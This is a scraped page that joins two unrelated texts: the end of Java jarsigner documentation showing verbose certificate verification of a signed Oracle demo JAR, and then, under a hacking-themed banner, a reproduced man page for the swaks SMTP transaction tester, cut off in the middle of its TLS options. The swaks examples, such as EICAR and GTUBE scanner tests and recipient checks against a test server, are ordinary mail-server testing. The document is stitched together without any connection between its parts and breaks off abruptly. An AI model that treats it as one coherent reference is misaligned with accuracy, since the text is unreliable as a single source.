s       866 Tue Sep 12 20:08:48 EDT 2017 META-INF/MANIFEST.MF
        825 Tue Sep 12 20:08:48 EDT 2017 META-INF/ORACLE_C.SF
       7475 Tue Sep 12 20:08:48 EDT 2017 META-INF/ORACLE_C.RSA
          0 Tue Sep 12 20:07:54 EDT 2017 META-INF/
          0 Tue Sep 12 20:07:16 EDT 2017 components/
          0 Tue Sep 12 20:07:16 EDT 2017 components/images/
sm      523 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo$1.class
sm     3440 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo.class
sm     2346 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo.jnlp
sm      172 Tue Sep 12 20:07:16 EDT 2017 components/images/left.gif
sm      235 Tue Sep 12 20:07:16 EDT 2017 components/images/middle.gif
sm      172 Tue Sep 12 20:07:16 EDT 2017 components/images/right.gif

  s = signature was verified
  m = entry is listed in manifest
  k = at least one certificate was found in keystore

- Signed by "CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, ST=California, C=US"
    Digest algorithm: SHA-256
    Signature algorithm: SHA256withRSA, 2048-bit key
  Timestamped by "CN=Symantec Time Stamping Services Signer - G4, O=Symantec Corporation, C=US" on Tue Sep 12 20:08:49 UTC 2017
    Timestamp digest algorithm: SHA-1
    Timestamp signature algorithm: SHA1withRSA, 2048-bit key

jar verified.

The signer certificate expired on 2018-02-01. However, the JAR will be valid until the timestamp expires on 2020-12-29.

EXAMPLE OF VERIFICATION WITH CERTIFICATE INFORMATION

If you specify the -certs option with the -verify and -verbose options, then the output includes certificate information for each signer of the JAR file. The information includes the certificate type, the signer distinguished name information (when it is an X.509 certificate), and in parentheses, the keystore alias for the signer when the public key certificate in the JAR file matches the one in a keystore entry, for example:

jarsigner -keystore $JAVA_HOME/lib/security/cacerts -verify -verbose -certs ButtonDemo.jar

s k     866 Tue Sep 12 20:08:48 EDT 2017 META-INF/MANIFEST.MF

      >>> Signer
      X.509, CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, ST=California, C=US
      [certificate is valid from 2017-01-30, 7:00 PM to 2018-02-01, 6:59 PM]
      X.509, CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
      [certificate is valid from 2013-12-09, 7:00 PM to 2023-12-09, 6:59 PM]
      X.509, CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US (verisignclass3g5ca [jdk])
      [trusted certificate]
      >>> TSA
      X.509, CN=Symantec Time Stamping Services Signer - G4, O=Symantec Corporation, C=US
      [certificate is valid from 2012-10-17, 8:00 PM to 2020-12-29, 6:59 PM]
      X.509, CN=Symantec Time Stamping Services CA - G2, O=Symantec Corporation, C=US
      [certificate is valid from 2012-12-20, 7:00 PM to 2020-12-30, 6:59 PM]

        825 Tue Sep 12 20:08:48 EDT 2017 META-INF/ORACLE_C.SF
       7475 Tue Sep 12 20:08:48 EDT 2017 META-INF/ORACLE_C.RSA
          0 Tue Sep 12 20:07:54 EDT 2017 META-INF/
          0 Tue Sep 12 20:07:16 EDT 2017 components/
          0 Tue Sep 12 20:07:16 EDT 2017 components/images/
smk     523 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo$1.class

      [entry was signed on 2017-09-12, 4:08 PM]
      >>> Signer
      X.509, CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, ST=California, C=US
      [certificate is valid from 2017-01-30, 7:00 PM to 2018-02-01, 6:59 PM]
      X.509, CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
      [certificate is valid from 2013-12-09, 7:00 PM to 2023-12-09, 6:59 PM]
      X.509, CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US (verisignclass3g5ca [jdk])
      [trusted certificate]
      >>> TSA
      X.509, CN=Symantec Time Stamping Services Signer - G4, O=Symantec Corporation, C=US
      [certificate is valid from 2012-10-17, 8:00 PM to 2020-12-29, 6:59 PM]
      X.509, CN=Symantec Time Stamping Services CA - G2, O=Symantec Corporation, C=US
      [certificate is valid from 2012-12-20, 7:00 PM to 2020-12-30, 6:59 PM]

smk    3440 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo.class
...
smk    2346 Tue Sep 12 20:07:16 EDT 2017 components/ButtonDemo.jnlp
...
smk     172 Tue Sep 12 20:07:16 EDT 2017 components/images/left.gif
...
smk     235 Tue Sep 12 20:07:16 EDT 2017 components/images/middle.gif
...
smk     172 Tue Sep 12 20:07:16 EDT 2017 components/images/right.gif
...

  s = signature was verified
  m = entry is listed in manifest
  k = at least one certificate was found in keystore

- Signed by "CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, ST=California, C=US"
    Digest algorithm: SHA-256
    Signature algorithm: SHA256withRSA, 2048-bit key
  Timestamped by "CN=Symantec Time Stamping Services Signer - G4, O=Symantec Corporation, C=US" on Tue Sep 12 20:08:49 UTC 2017
    Timestamp digest algorithm: SHA-1
    Timestamp signature algorithm: SHA1withRSA, 2048-bit key

jar verified.

The signer certificate expired on 2018-02-01. However, the JAR will be valid until the timestamp expires on 2020-12-29.

If the certificate for a signer isn’t an X.509 certificate, then there is no distinguished name information. In that case, just the certificate type and the alias are shown. For example, if the certificate is a PGP certificate, and the alias is bob, then you would get: PGP, (bob).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1077 - Linux cli command swaks

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command swaks and provides detailed information about the command swaks, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the swaks.

NAME 🖥️ swaks 🖥️

Swiss Army Knife SMTP, the all-purpose SMTP transaction tester

DESCRIPTION

Swaks’ primary design goal is to be a flexible, scriptable, transaction-oriented SMTP test tool. It handles SMTP features and extensions such as TLS, authentication, and pipelining; multiple version of the SMTP protocol including SMTP, ESMTP, and LMTP; and multiple transport methods including UNIX-domain sockets, internet-domain sockets, and pipes to spawned processes. Options can be specified in environment variables, configuration files, and the command line allowing maximum configurability and ease of use for operators and scripters.

QUICK START

Deliver a standard test email to [email protected] on port 25 of test-server.example.net: swaks –to [email protected] –server test-server.example.net

Deliver a standard test email, requiring CRAM-MD5 authentication as user [email protected]. An X-Test header will be added to the email body. The authentication password will be prompted for if it cannot be obtained from your .netrc file. swaks –to [email protected] –from [email protected] –auth CRAM-MD5 –auth-user [email protected] –header-X-Test “test email”

Test a virus scanner using EICAR in an attachment. Don’t show the message DATA part.: swaks -t [email protected] –attach - –server test-server.example.com –suppress-data </path/to/eicar.txt

Test a spam scanner using GTUBE in the body of an email, routed via the MX records for example.com: swaks –to [email protected] –body @/path/to/gtube/file

Deliver a standard test email to [email protected] using the LMTP protocol via a UNIX domain socket file swaks –to [email protected] –socket /var/lda.sock –protocol LMTP

Report all the recipients in a text file that are non-verifiable on a test server: for E in `cat /path/to/email/file` do swaks –to $E –server test-server.example.com –quit-after RCPT –hide-all [ $? -ne 0 ] && echo $E done

TERMS AND CONVENTIONS

This document tries to be consistent and specific in its use of the following terms to reduce confusion.

Target
The target of a transaction is the thing that Swaks connects to. This generic term is used throughout the documentation because most other terms improperly imply something about the transport being used.

Transport
The transport is the underlying method used to connect to the target.

Transaction
A transaction is the opening of a connection over a transport to a target and using a messaging protocol to attempt to deliver a message.

Protocol
The protocol is the application language used to communicate with the target. This document uses SMTP to speak generically of all three supported protocols unless it states that it is speaking of the specific ‘SMTP’ protocol and excluding the others.

Message
SMTP protocols exist to transfer messages, a set of bytes in an agreed-upon format that has a sender and a recipient.

Envelope
A message’s envelope contains the true sender and receiver of a message. It can also be referred to as its components, envelope-sender and envelope-recipients. It is important to note that a messages envelope does not have to match its To: and From: headers.

DATA
The DATA portion of an SMTP transaction is the actual message that is being transported. It consists of both the message’s headers and its body. DATA and body are sometimes used synonymously, but they are always two distinct things in this document.

Headers
A message’s headers are defined as all the lines in the message’s DATA section before the first blank line. They contain information about the email that will be displayed to the recipient such as To:, From:, Subject:, etc. In this document headers will always be written with a capitalized first letter and a trailing colon.

Body
A message’s body is the portion of its DATA section following the first blank line.

Option
An option is a flag which changes Swaks’ behavior. Always called an option regardless of how it is provided. For instance, --no-data-fixup is an option.

Argument
When an option takes addition data beside the option itself, that additional data is called an argument. In --quit-after <stop-point>, <stop-point> is the argument to the --quit-after option.

<literal-string>
When used in the definition of an option, text that is inside of angle brackets (<>) indicates a descriptive label for a value that the user should provide. For instance, --quit-after <stop-point> indicates that <stop-point> should be replaced with a valid stop-point value.

[<optional-value>]
When used in the definition of an option, text inside of square brackets ([]) indicates that the value is optional and can be omitted. For instance, --to [<recipient>] indicates that the --to option can be used with or without a specified <recipient>.

OPTION PROCESSING

To prevent potential confusion in this document a flag to Swaks is always referred to as an option. If the option takes additional data, that additional data is referred to as an argument to the option. For example, --from [email protected] might be provided to Swaks on the command line, with --from being the option and [email protected] being --from’s argument.

Options and arguments are the only way to provide information to Swaks. If Swaks finds data during option processing that is neither an option nor an option’s argument, it will error and exit. For instance, if --no-data-fixup 1 were found on the command line, this would result in an error because --no-data-fixup does not take an argument and therefore Swaks would not know what to do with 1.

Options can be given to Swaks in three ways. They can be specified in a configuration file, in environment variables, and on the command line. Depending on the specific option and whether an argument is given to it, Swaks may prompt the user for the argument.

When Swaks evaluates its options, it first looks for a configuration file (either in a default location or specified with --config). Then it evaluates any options in environment variables. Finally, it evaluates command line options. At each round of processing, any options set earlier will be overridden. Additionally, any option can be prefixed with no- to cause Swaks to forget that the variable had previously been set (either in an earlier round, or earlier in the same round). This capability is necessary because many options treat defined-but-no-argument differently than not-defined.

As a general rule, if the same option is given multiple time, the last time it is given is the one that will be used. This applies to both intra-method (if --from [email protected] --from [email protected] is given, [email protected] will be used) and inter-method (if from [email protected] is given in a config file and --from [email protected] is given on the command line, [email protected] will be used)

Each option definition ends with a parenthetical synopsis of how the option behaves. The following codes can be used

Arg-None, Arg-Optional, Arg-Required
These three codes are mutually exclusive and describe whether or not the option takes an argument. Note that this does not necessarily describe whether the argument is required to be specified directly, but rather whether an argument is required eventually. For instance, --to is labeled as Arg-Required, but it is legal to specify --to on the command line without an argument. This is because Swaks can prompt for the required argument if it is not directly provided.

From-Prompt
An option labeled with From-Prompt will prompt the user interactively for the argument if none is provided.

From-File
An option labeled with From-File will handle arguments as files in certain situations. If the initial argument is -, the final argument is the contents of STDIN. Multiple options can all specify STDIN, but the same content will be used for each of them. If the initial argument is prefixed with @, the argument will be treated as a path to a file. The file will be opened and the contents will be used as the final argument. If the contents of the file can’t be read, Swaks will exit. To specify a literal string value starting with an @, use two @ symbols. The first will be stripped. It is not possible to include an unqualified file which starts with an @ sign (like --attach @file.txt or --attach @@file.txt), but if you include a path to the file which splits up the two @ signs, that will work (eg --attach @./@file.txt will include the contents of the file @file.txt).

Sensitive
If an option marked Sensitive attempts to prompt the user for an argument and the --protect-prompt option is set, Swaks will attempt to mask the user input from being echoed on the terminal. Swaks tries to mask the input in several ways, but if none of them work program flow will continue with unmasked input.

Deprecated
An option labeled Deprecated has been officially deprecated and will be removed in a future release. See the DEPRECATIONS section of this documentation for details about the deprecations.

The exact mechanism and format for using each of the types is listed below.

CONFIGURATION FILES
A configuration file can be used to set commonly-used or abnormally verbose options. By default, Swaks looks in order for $SWAKS_HOME/.swaksrc, $HOME/.swaksrc, and $LOGDIR/.swaksrc. If one of those is found to exist (and --config has not been used) that file is used as the configuration file. Additionally, a configuration file in a non-default location can be specified using --config. If this is set and not given an argument Swaks will not use any configuration file, including any default file. If --config points to a readable file, it is used as the configuration file, overriding any default that may exist. If it points to a non-readable file an error will be shown and Swaks will exit. A set of portable defaults can also be created by adding options to the end of the Swaks program file. As distributed, the last line of Swaks should be _ _END_ _. Any lines added after _ _END_ _ will be treated as the contents of a configuration file. This allows a set of user preferences to be automatically copied from server to server in a single file. If configuration files have not been explicitly turned off, the _ _END_ _ config is always read. Only one other configuration file will ever be used per single invocation of Swaks, even if multiple configuration files are specified. If the _ _END_ _ config and another config are to be read, the _ _END_ _ config will be processed first. Specifying the --config option with no argument turns off the processing of both the _ _END_ _ config and any actual config files. In a configuration file lines beginning with a hash (#) are ignored. All other lines are assumed to be an option to Swaks, with the leading dash or dashes optional. Everything after an option line’s first space is assumed to be the option’s argument and is not shell processed. Therefore, quoting is usually unneeded and will be included literally in the argument. There is a subtle difference between providing an option with no argument and providing an option with an empty argument. If an option line does not have a space, the entire line is treated as an option and there is no argument. If the line ends in a single space, it will be processed as an option with an empty argument. So, apt will be treated as --apt, but apt will be treated as --apt . Here is an example of the contents of a configuration file: # always use this sender, no matter server or logged in user –from [email protected] # I prefer my test emails have a pretty from header. Note # the lack of dashes on option and lack of quotes around # entire argument. h-From: “Fred Example” <[email protected]> Options specific to configuration file:

–config [<config-file>]
This option provides a path to a specific configuration file to be used. If specified with no argument, no automatically-found configuration file (via $HOME, etc, or _ _END_ _) will be processed. If the argument is a valid file, that file will be used as the configuration file (after _ _END_ _ config). If argument is not a valid, readable file, Swaks will error and exit. This option can be specified multiple times, but only the first time it is specified (in environment variable and the command line search order) will be used. (Arg-Optional)

CONFIGURATION ENVIRONMENT VARIABLES
Options can be supplied via environment variables. The variables are in the form $SWAKS_OPT_name, where name is the name of the option that would be specified on the command line. Because dashes aren’t allowed in environment variable names in most UNIX-ish shells, no leading dashes should be used and any dashes inside the option’s name should be replaced with underscores. The following would create the same options shown in the configuration file example: $ [email protected] $ SWAKS_OPT_h_From=“Fred Example” <[email protected]> Setting a variable to an empty value is the same as specifying it on the command line with no argument. For instance, setting <SWAKS_OPT_server=""> would cause Swaks to prompt the user for the server to which to connect at each invocation. On Windows, it is not possible to set empty environment variables. The behavior can be simulated by setting the environment variable to <> instead. Additionally, embedding the header name in the header option via environment variable is not allowed on Windows (eg SWAKS_OPT_header_Foo=bar will result in an error, but SWAKS_OPT_header="Foo: bar" will work.) Because there is no inherent order in options provided by setting environment variables, the options are sorted before being processed. This is not a great solution, but it at least defines the behavior, which would be otherwise undefined. As an example, if both $SWAKS_OPT_from and $SWAKS_OPT_f were set, the value from $SWAKS_OPT_from would be used, because it sorts after $SWAKS_OPT_f. Also as a result of not having an inherent order in environment processing, unsetting options with the no- prefix is unreliable. It works if the option being turned off sorts before no-, but fails if it sorts after. Because no- is primarily meant to operate between config types (for instance, unsetting from the command line an option that was set in a config file), this is not likely to be a problem. In addition to setting the equivalent of command line options, $SWAKS_HOME can be set to a directory containing the default .swaksrc to be used.

COMMAND LINE OPTIONS
The final method of supplying options to Swaks is via the command line. The options behave in a manner consistent with most UNIX-ish command line programs. Many options have both a short and long form (for instance -s and --server). By convention short options are specified with a single dash and long options are specified with a double-dash. This is only a convention and either prefix will work with either type. The following demonstrates the example shown in the configuration file and environment variable sections: $ swaks –from [email protected] –h-From: “Fred Example” <[email protected]>

TRANSPORTS

Swaks can connect to a target via UNIX pipes (pipes), UNIX domain sockets (UNIX sockets), or internet domain sockets (network sockets). Connecting via network sockets is the default behavior. Because of the singular nature of the transport used, each set of options in the following section is mutually exclusive. Specifying more than one of --server, --pipe, or --socket will result in an error. Mixing other options between transport types will only result in the irrelevant options being ignored. Below is a brief description of each type of transport and the options that are specific to that transport type.

NETWORK SOCKETS
This transport attempts to deliver a message via TCP/IP, the standard method for delivering SMTP. This is the default transport for Swaks. If none of --server, --pipe, or --socket are given then this transport is used and the target server is determined from the recipient’s domain (see --server below for more details). This transport requires the IO::Socket::IP module for both IPv4 and IPv6 sockets. If this module is not loadable, Swaks will attempt to use the IO::Socket library for IPv4 and IO::Socket::INET6 for IPv6 support. Attempting to use this transport with none of those libraries available will result in an error and program termination. The fall back to IO::Socket and IO::Socket::INET6 is deprecated and will be removed in a future release. See DEPRECATIONS below

-s, –server [<target-server>[:<port>]]
Explicitly tell Swaks to use network sockets and specify the hostname or IP address to which to connect, or prompt if no argument is given. If this option is not given and no other transport option is given, the target mail server is determined from the appropriate DNS records for the domain of the recipient email address using the Net::DNS module. If Net::DNS is not available Swaks will attempt to connect to localhost to deliver. The target port can optionally be set here. Supported formats for this include SERVER:PORT (supporting names and IPv4 addresses); [SERVER]:PORT and SERVER/PORT (supporting names, IPv4 and IPv6 addresses). A port set via this option will only be used if the --port option is not used. See also --copy-routing. (Arg-Required, From-Prompt)

-p, –port [<port>]
Specify which TCP port on the target is to be used, or prompt if no argument is listed. The argument can be a service name (as retrieved by getservbyname (3)) or a port number. The default port is smtp/25 unless influenced by the --protocol or --tls-on-connect options. (Arg-Required, From-Prompt)

-li, –local-interface [<local-interface>[:<port>]]
Use argument as the local interface for the outgoing SMTP connection, or prompt user if no argument given. Argument can be an IP address or a hostname. Default action is to let the operating system choose the local interface. See --server for additional comments on :<port> format. A port set via this option will only be used if the --port option is not used. (Arg-Required, From-Prompt)

-lp, –local-port, –lport [<port>]
Specify the outgoing port from which to originate the transaction. The argument can be a service name (as retrieved by getservbyname (3)) or a port number. If this option is not specified the system will pick an ephemeral port. Note that regular users cannot specify some ports. (Arg-Required, From-Prompt)

–copy-routing <domain>
The argument is interpreted as the domain part of an email address and it is used to find the target server using the same logic that would be used to look up the target server for a recipient email address. See --to option for more details on how the target is determined from the email domain. (Arg-Required)

-4, -6
Force IPv4 or IPv6. (Arg-None)

UNIX SOCKETS
This transport method attempts to deliver messages via a UNIX-domain socket file. This is useful for testing MTA/MDAs that listen on socket files (for instance, testing LMTP delivery to Cyrus). This transport requires the IO::Socket::UNIX module which is part of the standard Perl distribution. If this module is not loadable, attempting to use this transport will result in an error and program termination.

–socket [<socket-file>]
This option takes as its argument a UNIX-domain socket file. If Swaks is unable to open this socket it will display an error and exit. (Arg-Required, From-Prompt)

PIPES
This transport attempts to spawn a process and communicate with it via pipes. The spawned program must be prepared to behave as a mail server over STDIN/STDOUT. Any MTA designed to operate from inet/xinet should support this. In addition, some MTAs provide testing modes that can be communicated with via STDIN/STDOUT. This transport can be used to automate that testing. For example, if you implemented DNSBL checking with Exim and you wanted to make sure it was working, you could run swaks --pipe "exim -bh 127.0.0.2". Ideally, the process you are talking to should behave exactly like an SMTP server on STDIN and STDOUT. Any debugging should be sent to STDERR, which will be directed to your terminal. In practice, Swaks can generally handle some debug on the child’s STDOUT, but there are no guarantees on how much it can handle. This transport requires the IPC::Open2 module which is part of the standard Perl distribution. If this module is not loadable, attempting to use this transport will result in an error and program termination.

–pipe [<command-and-arguments>]
Provide a process name and arguments to the process. Swaks will attempt to spawn the process and communicate with it via pipes. If the argument is not an executable Swaks will display an error and exit. (Arg-Required, From-Prompt)

PROTOCOL OPTIONS

These options are related to the protocol layer.

-t, –to [<email-address>[,<email-address>[,…]]]

–cc [<email-address>[,<email-address>[,…]]]

–bcc [<email-address>[,<email-address>[,…]]]

These options all tell Swaks to use the argument(s) as the envelope-recipient for the email. There are subtle differences between these three options, detailed below. If any option is specified but with no arguments, Swaks will prompt the user for an argument. --to is special in that it is the only option required by Swaks. There is no default value for this option. If no recipients are provided via any means, user will be prompted to provide one interactively. The only exception to this is if a --quit-after value is provided which will cause the SMTP transaction to be terminated before the recipient is needed. If multiple recipients are provided and the recipient domain is needed to determine routing, the domain of the last recipient in the --to argument list is used. The primary distinction between these options is how their arguments are treated when generating the DATA portion of the email. They each have their own replacement tokens (%TO_ADDRESS%, %CC_ADDRESS%, and %BCC_ADDRESS% respectively) which can be used by anyone crafting a custom DATA. In Swaks’ default message, %TO_ADDRESS% will be used for the To: header and, if it is populated, %CC_HEADER% will be used for a Cc: header. %BCC_ADDRESS% is not used in the default DATA. (Arg-Required, From-Prompt)

-f, –from [<email-address>]
Use argument as envelope-sender for email, or prompt user if no argument specified. The string <> can be supplied to mean the null sender. If user does not specify a sender address a default value is used. The domain-part of the default sender is a best guess at the fully-qualified domain name of the local host. The method of determining the local-part varies. If the $LOGNAME environment variable is set, it will be used as the local-part. Otherwise the value from Win32::LoginName() will be used on Windows and getpwuid (3) on UNIX-ish platforms. See also --force-getpwuid. If Swaks cannot determine a local hostname and the sender address is needed for the transaction, Swaks will error and exit. In this case, a valid string must be provided via this option. (Arg-Required, From-Prompt)

–ehlo, –lhlo, -h, –helo [<helo-string>]
String to use as argument to HELO/EHLO/LHLO command, or prompt user if no argument is specified. If this option is not used a best guess at the fully-qualified domain name of the local host is used. If Swaks cannot determine a local hostname and the helo string is needed for the transaction, Swaks will error and exit. In this case, a valid string must be provided via this option. (Arg-Required, From-Prompt)

-q, –quit, –quit-after <stop-point>
Point at which the transaction should be stopped. When the requested stopping point is reached in the transaction, and provided that Swaks has not errored out prior to reaching it, Swaks will send QUIT and attempt to close the connection cleanly. These are the valid arguments and notes about their meaning. (Arg-Required)

PROXY
Quit after the server sends a response to a PROXY request. Note that if there is not an error negotiating proxy, this will be synonymous with CONNECT.

CONNECT, BANNER
Terminate the session after receiving the greeting banner from the target.

FIRST-HELO, FIRST-EHLO, FIRST-LHLO
In a STARTTLS (but not tls-on-connect) session, terminate the transaction after the first of two HELOs. In a non-STARTTLS transaction, behaves the same as HELO (see below).

XCLIENT
Quit after XCLIENT is negotiation. This always quits after the point where XCLIENT would have been negotiated, regardless of whether it was attempted.

XCLIENT-HELO
Quit after the HELO that XCLIENT negotiation triggers. This differs from HELO and FIRST-HELO because XCLIENT negotiation can happen at multiple points in the SMTP transaction and it is impossible to specifically refer to the XCLIENT-triggered HELO using the HELO or FIRST-HELO stop-points. This always quits after the point where the XCLIENT-triggered HELO would have occurred, regardless of whether it was attempted.

STARTTLS, TLS
Quit the transaction immediately following TLS negotiation. Note that this happens in different places depending on whether STARTTLS or tls-on-connect are used. This always quits after the point where TLS would have been negotiated, regardless of whether it was attempted.

HELO, EHLO, LHLO
In a STARTTLS or XCLIENT session, quit after the second HELO. Otherwise quit after the first and only HELO.

AUTH
Quit after authentication. This always quits after the point where authentication would have been negotiated, regardless of whether it was attempted.

MAIL, FROM
Quit after MAIL FROM: is sent.

RCPT, TO
Quit after RCPT TO: is sent.

–da, –drop-after <stop-point>
The option is similar to --quit-after, but instead of trying to cleanly shut down the session it simply terminates the session. This option accepts the same stop-points as --quit-after and additionally accepts DATA and DOT, detailed below. (Arg-Required)

DATA
Drop the connection after DATA is sent by server.

DOT
Drop the connection after the final ‘.’ of the message is sent by server.

–das, –drop-after-send <stop-point>
This option is similar to --drop-after, but instead of dropping the connection after reading a response to the stop-point, it drops the connection immediately after sending stop-point. It accepts the same stop-points as --drop-after. If the stop-point is for an optional part of the transaction which is not actually sent (for instance STARTTLS or AUTH), this option will behave identically to --drop-after. See below for specific details. (Arg-Required)

CONNECT
Connect to the server and then drops the connection before receiving the server’s banner.

STARTTLS, TLS
Behaves identically to --drop-after.

HELO, EHLO, LHLO
Doesn’t necessarily work as expected. If it appears to read the HELO response incorrectly, use FIRST-HELO instead.

–timeout [<time>]
Use argument as the SMTP transaction timeout, or prompt user if no argument given. Argument can either be a pure digit, which will be interpreted as seconds, or can have a specifier s, m, or h (5s = 5 seconds, 3m = 180 seconds, 1h = 3600 seconds). As a special case, 0 means don’t timeout the transactions. Default value is 30s. (Arg-Required, From-Prompt)

–protocol <protocol>
Specify which protocol to use in the transaction. Valid options are shown in the table below. Currently the ‘core’ protocols are SMTP, ESMTP, and LMTP. By using variations of these protocol types one can tersely specify default ports, whether authentication should be attempted, and the type of TLS connection that should be attempted. The default protocol is ESMTP. The following table demonstrates the available arguments to --protocol and the options each sets as a side effect. (Arg-Required)

SMTP
HELO, -p 25

SSMTP
EHLO->HELO, -tlsc -p 465

SSMTPA
EHLO->HELO, -a -tlsc -p 465

SMTPS
HELO, -tlsc -p 465

ESMTP
EHLO->HELO, -p 25

ESMTPA
EHLO->HELO, -a -p 25

ESMTPS
EHLO->HELO, -tls -p 25

ESMTPSA
EHLO->HELO, -a -tls -p 25

LMTP
LHLO, -p 24

LMTPA
LHLO, -a -p 24

LMTPS
LHLO, -tls -p 24

LMTPSA
LHLO, -a -tls -p 24

–pipeline
If the remote server supports it, attempt SMTP PIPELINING (RFC 2920). (Arg-None)

–prdr
If the server supports it, attempt Per-Recipient Data Response (PRDR) (<https://tools.ietf.org/html/draft-hall-prdr-00.txt>). PRDR is not yet standardized, but MTAs have begun implementing the proposal. (Arg-None)

–force-getpwuid
Tell Swaks to use the system-default method of determining the current user’s username for the default sender local-part instead of trying $LOGNAME first. Despite the UNIX-ish-specific option name, this option also works on Windows. (Arg-None)

TLS / ENCRYPTION

These are options related to encrypting the transaction. These have been tested and confirmed to work with all three transport methods. The Net::SSLeay module is used to perform encryption when it is requested. If this module is not loadable Swaks will either ignore the TLS request or error out, depending on whether the request was optional. STARTTLS is defined as an extension in the ESMTP protocol and will be unavailable if --protocol is set to a variation of plain SMTP. Because it is not defined in the protocol itself, --tls-on-connect is available for any protocol type if the target supports it.

A local certificate is not required for a TLS connection to be negotiated. However, some servers use client certificate checking to verify that the client is allowed to connect. Swaks can be told to use a specific local certificate using the --tls-cert and --tls-key options, and optionally to use a certificate chain using the --tls-chain option.

-tls
Require connection to use STARTTLS. Exit if TLS not available for any reason (not advertised, negotiations failed, etc). (Arg-None)

-tlso, –tls-optional
Attempt to use STARTTLS if available, continue with normal transaction if TLS was unable to be negotiated for any reason. Note that this is a semi-useless option as currently implemented because after a negotiation failure the state of the connection is unknown. In some cases, like a version mismatch, the connection should be left as plaintext. In others, like a verification failure, the server-side may think that it should continue speaking TLS while the client thinks it is plaintext. There may be an attempt to add more granular state detection in the future, but for now just be aware that odd things may happen with this option if the TLS negotiation is attempted and fails. (Arg-None)

-tlsos, –tls-optional-strict
Attempt to use STARTTLS if available. Proceed with transaction if TLS is negotiated successfully or STARTTLS not advertised. If STARTTLS is advertised but TLS negotiations fail, treat as an error and abort transaction. Due to the caveat noted above, this is a much saner option than --tls-optional. (Arg-None)

-tlsc, –tls-on-connect
Initiate a TLS connection immediately on connection. Following common convention, if this option is specified the default port changes from 25 to 465, though this can still be overridden with the –port option. (Arg-None)

-tlsp, –tls-protocol <tls-version-specification>
Specify which protocols to use (or not use) when negotiating TLS. At the time of this writing, the available protocols are sslv2, sslv3, tlsv1, tlsv1_1, tlsv1_2, and tlsv1_3. The availability of these protocols is dependent on your underlying OpenSSL library, so not all of these may be available. The list of available protocols is shown in the output of --dump (assuming TLS is available at all). The specification string is a comma-delimited list of protocols that can be used or not used. For instance ’tlsv1,tlsv1_1’ will only succeed if one of those two protocols is available on both the client and the server. Conversely, ’no_sslv2,no_sslv3’ will attempt to negotiate any protocol except sslv2 and sslv3. The two forms of specification cannot be mixed. (Arg-Required)

–tls-cipher <cipher-string>
The argument to this option is passed to the underlying OpenSSL library to set the list of acceptable ciphers to the be used for the connection. The format of this string is opaque to Swaks and is defined in <https://www.openssl.org/docs/manmaster/man1/openssl-ciphers.html#CIPHER-LIST-FORMAT>. A brief example would be --tls-cipher 3DES:+RSA. (Arg-Required)

–tls-verify
Tell Swaks to attempt to verify the server’s certificate. This option is identical to specifying both the --tls-verify-ca and --tls-verify-host options. See those options for detailed descriptions of how to fine-tune each type of verification. By default, TLS verification is not required. If TLS verification is required by --tls-verify, --tls-verify-ca, or --tls-verify-host and the requested type of verification fails, TLS negotiation will not succeed. (Arg-None)

–tls-verify-ca
Require that the server’s certificate be signed by a known certificate authority and not be expired. By default the list of known CAs will be whatever is available via the client Swaks is running on. To provide a custom CA, see --tls-ca-path. (Arg-None)

–tls-verify-host
Require that the target of the current connection be listed in the server certificate’s Subject Alternative Name (SAN) or Subject CommonName (CN). The target that Swaks uses for verification will vary. It can be a hostname, either provided directly via the --server option or looked up via MX records. In this case, verification performs as expected. If the target is an IP, the IP will be looked up in the certificate, which is possible but unusual. If the transport is --pipe or --socket, there will not be a meaningful target to verify in the certificate and verification will fail. In this situation it’s better to use only --tls-verify-ca or to override the target used for verification with the --tls-verify-target option. (Arg-None)

–tls-verify-target <verification-string>
When set, the argument to this option will be used as the host to be verified for --tls-verify-host. This is necessary when using --tls-verify-host with either the --pipe or --socket transports, which do not have a verifiable target by default. It can also be used to override the default target lookup when using the --server transport. For instance, it can be used to verify that the certificate of a server explicitly connect to via IP contains a specific certificate. (Arg-Required)

–tls-ca-path <ca-location>
Specify an alternate location for CA information for verifying server certificates. The argument can point to a file or directory. The default behavior is to use the underlying OpenSSL library’s default information. (Arg-Required)

–tls-cert <cert-file>
